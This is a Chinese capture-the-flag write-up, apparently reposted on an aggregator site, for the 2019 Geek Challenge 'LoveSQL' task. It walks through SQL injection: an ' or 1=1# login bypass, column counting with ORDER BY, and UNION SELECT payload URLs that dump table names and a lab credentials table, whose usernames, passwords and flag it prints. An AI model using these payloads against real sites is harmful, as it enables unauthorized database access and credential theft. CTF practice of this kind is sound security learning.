[极客大挑战 2019]LoveSQL 1(SQL注入)
Posted MangataTS
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了[极客大挑战 2019]LoveSQL 1(SQL注入)相关的知识,希望对你有一定的参考价值。
一、SQL注入的流程
- ①判断是否有注入点(判断是否未严格校验)
- 可控参数的改变是否能影响页面的显示效果
- 输入的
SQL
语句是否能报错(通过数据库的报错,我们能 猜测 数据库的查询语句是如何拼接的)- 输入的
SQL
语句能否不报错(其实就是检查我们的语句能否成功闭合)- ②什么类型的注入
- ③语句是否能被恶意修改
- ④是否能够成功执行
- ⑤通过注入获取我们需要的数据
系统的一些信息,我们通过这些信息能够获取到其他表的信息:
select database(); #查看当前库名;
select table_name from information_schema.tables where table_schema=database() ; #查看当前库下的表名
select column_name from information_schema.columns where table_schema=database() and table_name='user'; #查询列名
二、实践
首先我们能看到这个页面,然后我们先使用万能密码登陆试试,我们会发现,当我们输入 " or 1=1#
会显示
但是输入' or 1=1#
的时候我们直接登陆了,说明存在单引号注入
然后我们通过手动二分的方式查询列数:
http://a3ff021b-d96d-475b-a191-d05a74696b43.node4.buuoj.cn:81/check.php?username=admin&password=1' order by 3%23
如果是找到比三大的数字的话,,例如 4 4 4
知道列数之后,我们直接联合查表就好啦
http://a3ff021b-d96d-475b-a191-d05a74696b43.node4.buuoj.cn:81/check.php?username=1%27%20union%20select%201,2,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()%23&password=1
然后我们查一下两个表分别有哪些列,看看flag
可能在哪,对于第一个表geekuser
我们查出来有三列:
然后我们看第二张表,我们发现列是相同的:
然后我们查询第一张表的元素,我们发现只有一行信息
http://a3ff021b-d96d-475b-a191-d05a74696b43.node4.buuoj.cn:81/check.php?username=1&password=1' union select 1,2,group_concat(concat_ws(":",id,username,password)) from geekuser%23
同理查询第二张表,我们能得到如下信息:
http://a3ff021b-d96d-475b-a191-d05a74696b43.node4.buuoj.cn:81/check.php?username=1&password=1' union select 1,2,group_concat(concat_ws(":",id,username,password)) from l0ve1ysq1%23
我们 copy
下来能得到:
1:cl4y:wo_tai_nan_le,2:glzjin:glzjin_wants_a_girlfriend,3:Z4cHAr7zCr:biao_ge_dddd_hm,4:0xC4m3l:linux_chuang_shi_ren,5:Ayrain:a_rua_rain,6:Akko:yan_shi_fu_de_mao_bo_he,7:fouc5:cl4y,8:fouc5:di_2_kuai_fu_ji,9:fouc5:di_3_kuai_fu_ji,10:fouc5:di_4_kuai_fu_ji,11:fouc5:di_5_kuai_fu_ji,12:fouc5:di_6_kuai_fu_ji,13:fouc5:di_7_kuai_fu_ji,14:fouc5:di_8_kuai_fu_ji,15:leixiao:Syc_san_da_hacker,16:flag:flaga2b45632-fcff-472c-8cee-90a7d432a0cf
,稍微做一下格式处理可以得到:
1:cl4y:wo_tai_nan_le
2:glzjin:glzjin_wants_a_girlfriend
3:Z4cHAr7zCr:biao_ge_dddd_hm
4:0xC4m3l:linux_chuang_shi_ren
5:Ayrain:a_rua_rain
6:Akko:yan_shi_fu_de_mao_bo_he
7:fouc5:cl4y
8:fouc5:di_2_kuai_fu_ji
9:fouc5:di_3_kuai_fu_ji
10:fouc5:di_4_kuai_fu_ji
11:fouc5:di_5_kuai_fu_ji
12:fouc5:di_6_kuai_fu_ji
13:fouc5:di_7_kuai_fu_ji
14:fouc5:di_8_kuai_fu_ji
15:leixiao:Syc_san_da_hacker
16:flag:flaga2b45632-fcff-472c-8cee-90a7d432a0cf
这里我们就找到了 flaga2b45632-fcff-472c-8cee-90a7d432a0cf
以上是关于[极客大挑战 2019]LoveSQL 1(SQL注入)的主要内容,如果未能解决你的问题,请参考以下文章